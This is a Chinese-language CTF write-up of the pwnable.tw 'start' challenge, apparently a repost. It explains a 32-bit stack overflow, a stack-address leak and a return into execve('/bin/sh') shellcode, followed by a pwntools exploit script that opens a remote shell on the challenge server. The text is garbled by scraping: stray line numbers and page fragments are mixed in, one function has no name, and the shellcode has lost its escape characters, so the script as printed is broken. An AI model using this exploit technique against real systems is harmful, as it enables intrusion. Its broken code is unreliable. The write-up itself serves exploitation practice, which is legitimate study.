Pwnable.tw start

Let's start the CTF:stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚:

调试了就很容易看出来在堆栈上是同一块地址。发生栈溢出是因为:readwrite的缓存区地址相同,sys_write函数地址只有20,但是sys_read函数地址有60,当你输出大于20的时候就会覆盖掉ret。

payload一般形式:padding + addr of shellcode + padding + shellcode,所以我们要找一个addr of shellcode

可以看到在调用sys_write的时候,有一个mov ecx,esp的指令,此时的赋予ecx的值就是Let's start the CTF:的首地址,当我们leak出这个栈上的地址的时候,我们就可以构造:

payload=padding(0x20) + p32(addr of esp + 20) + shellcodeshellcode的长度不能大于36。

      
      
1
2
3
4
5
6
7
8
9
10
11
12
13
14
大专栏   Pwnable.tw starts="line">15
16
17
18
19
20
      
      
from pwn import *
context.log_level= 'debug'
pro=remote( "chall.pwnable.tw", 10000)
shellcode= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80"
def ():
pro.recvuntil( "CTF:")
payload= "a"* 20+p32( 0x08048087)
pro.send(payload)
addr=u32(pro.recv( 4))
return addr
def getshell(addr):
payload= "A"* 20+p32(addr+ 24)+ "x90"* 4+shellcode
pro.send(payload)
addr=leak()
getshell(addr)
pro.interactive()

猜你喜欢

转载自www.cnblogs.com/lijianming180/p/12288871.html